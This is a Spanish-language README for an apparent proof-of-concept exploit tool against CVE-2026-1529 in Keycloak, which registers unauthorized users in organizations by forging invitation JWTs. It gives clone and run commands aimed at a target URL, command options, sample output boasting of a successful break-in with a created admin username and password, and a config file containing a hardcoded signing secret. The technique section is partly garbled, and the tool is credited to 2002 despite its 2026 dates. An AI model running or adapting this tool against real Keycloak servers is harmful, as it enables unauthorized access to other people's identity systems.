
Herramienta de explotación para CVE-2026-1529, que demuestra el registro no autorizado de organizaciones en Keycloak mediante la manipulación de tokens JWT. Incluye generación de tokens, manipulación y registro de usuarios con generación de informes.
Keycloak: Registro no autorizado de organizaciones mediante validación incorrecta de tokens de invitación
Esta herramienta es solo para fines educativos y de pruebas de seguridad. Úsela únicamente en sistemas para los que tenga permiso explícito de prueba. El acceso no autorizado a sistemas informáticos es ilegal y poco ético. Los autores de esta herramienta no son responsables de ningún uso indebido o daño causado por este software.
Creado por: f3ds cr3w est, 2002
CVE-2026-1529 es una vulnerabilidad crítica en Keycloak que permite el registro no autorizado de organizaciones mediante una validación incorrecta de tokens de invitación. Esta herramienta de explotación demuestra la vulnerabilidad manipulando tokens JWT para registrar usuarios en organizaciones no autorizadas.
La vulnerabilidad existe en el proceso de validación de tokens JWT para invitaciones de organizaciones. Los atacantes pueden manipular los campos org_id y email en el payload del JWT, lo que les permite registrar usuarios en cualquier organización sin la autorización adecuada.
git clone https://github.com/ninjazan420/CVE-2026-1529-PoC-keycloak-unauthorized-registration-via-improper-invitation-token-validation
cd CVE-2026-1529-POC
pip install -r requirements.txt
chmod +x keycloak-exploit.py
# Uso estándar con URL objetivo
python keycloak-exploit.py https://target-keycloak.com
# Mostrar ayuda
python keycloak-exploit.py -h
# Mostrar versión
python keycloak-exploit.py -v
# Usar token de invitación personalizado
python keycloak-exploit.py -t eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 https://target-keycloak.com
# Usar ID de organización personalizado
python keycloak-exploit.py -o custom_org_id https://target-keycloak.com
# Usar archivo de configuración personalizado
python keycloak-exploit.py -c custom_config.json https://target-keycloak.com
# Habilitar registro de depuración
python keycloak-exploit.py -d https://target-keycloak.com
| Opción | Descripción | Requerido |
|---|---|---|
target | URL objetivo de Keycloak (IP o dominio) | Sí |
-t, --token | Token de invitación personalizado a usar | No |
-o, --org-id | ID de organización personalizado | No |
-c, --config | Ruta al archivo de configuración | No |
-d, --debug | Habilitar registro de depuración | No |
-v, --version | Mostrar información de versión | No |
-h, --help | Mostrar mensaje de ayuda | No |
Cuando la explotación es exitosa, verá una salida como:
=============================================================
CVE-2026-1529 EXPLOIT RESULTS
=============================================================
✓ Target is vulnerable to CVE-2026-1529
🎯 EXPLOIT SUCCESSFUL!
Username: admin_user_2026
Password: KeycloakCVE2026!
Email: [email protected]
Login Link: https://target-keycloak.com/realms/master/account
📄 Report saved to: output/reports/exploit_report_20260210_134556.txt
🔐 Use the provided credentials to access the Keycloak instance!
⚠️ This demonstrates unauthorized access due to CVE-2026-1529
=============================================================
by f3ds cr3w est, 2002
=============================================================
Si la explotación falla, verá:
=============================================================
CVE-2026-1529 EXPLOIT RESULTS
=============================================================
✗ Target is not vulnerable
❌ EXPLOIT FAILED!
Check logs for details: logs/exploit.log
CVE-2026-1529-POC/
├── keycloak-exploit.py # Script principal de explotación
├── requirements.txt # Dependencias de Python
├── README.md # Este archivo
├── config/
│ └── default_config.json # Configuración predeterminada
├── utils/
│ ├── jwt_utils.py # Utilidades de manipulación JWT
│ ├── http_utils.py # Utilidades de cliente HTTP
│ └── crypto_utils.py # Utilidades criptográficas
├── output/
│ ├── logs/ # Archivos de registro
│ └── reports/ # Informes de explotación
La herramienta utiliza un archivo de configuración predeterminado (config/default_config.json) con las siguientes opciones:
{
"exploit": {
"default_username": "admin_user_2026",
"default_password": "KeycloakCVE2026!",
"default_email": "[email protected]",
"timeout": 30,
"max_retries": 3
},
"jwt": {
"algorithm": "HS256",
"secret_key": "keycloak-cve-2026-1529-exploit",
"token_expiry": 3600
},
"target": {
"endpoints": {
"realms": "/realms",
"organizations": "/organizations",
"register": "/register",
"login": "/login"
}
},
"output": {
"log_level": "INFO",
"save_reports": true,
"report_format": "txt"
}
}
Puede crear un archivo de configuración personalizado y usarlo con la opción -c:
{
"exploit": {
"default_username": "custom_user",
"default_password": "CustomPassword123!",
"default_email": "[email protected]",
"timeout": 60,
"max_retries": 5
},
"jwt": {
"algorithm": "HS256",
"secret_key": "custom-secret-key",
"token_expiry": 7200
}
}
La herramienta explota la validación incorrecta de JWT mediante:
org_id para apuntar a una organización diferenteemail si es necesarioErrores de Conexión
Errores de Validación de Token
org_id, email, invitation_type)Fallos de Registro
Habilite el registro de depuración para solución de problemas detallada:
python keycloak-exploit.py -d https://target-keycloak.com
logs/exploit.logoutput/reports/exploit_report_YYYYMMDD_HHMMSS.txtLa herramienta realiza las siguientes comprobaciones:
La explotación se considera exitosa si:
Esta herramienta se proporciona solo para fines educativos y de pruebas de seguridad. Úsela bajo su propio riesgo.
Creado por: f3ds cr3w est, 2002
Contacto: Para preguntas o comentarios, consulte el repositorio del proyecto.
Recuerde: Un gran poder conlleva una gran responsabilidad. Use esta herramienta con sabiduría y ética.
por f3ds cr3w est, 2002